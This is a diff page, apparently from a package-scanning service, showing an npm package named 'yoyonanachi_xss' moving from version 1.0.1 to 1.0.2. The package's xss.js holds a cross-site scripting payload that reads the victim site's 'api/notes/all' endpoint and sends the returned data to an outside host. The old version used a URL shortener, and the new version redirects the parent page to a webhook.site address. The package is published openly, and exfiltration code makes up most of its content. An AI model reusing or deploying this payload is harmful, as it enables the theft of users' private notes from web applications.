yoyonanachi_xss 1.0.1 → 1.0.2

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/xss.js +1 -1
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "yoyonanachi_xss",
3
- "version": "1.0.1",
3
+ "version": "1.0.2",
4
4
  "description": "",
5
5
  "main": "xss.js",
6
6
  "scripts": {
package/xss.js CHANGED
@@ -1,3 +1,3 @@
1
1
  function xss(){
2
- fetch(`api/notes/all`).then(res => res.json()).then(data => fetch( `https://reurl.cc/4jarlj?`+JSON.stringify(data)));
2
+ fetch(`api/notes/all`).then(res => res.json()).then(data => parent.document.location=`https://webhook.site/5f10e934-1859-4cb9-bd9f-842933dd302d?`+JSON.stringify(data));
3
3
  }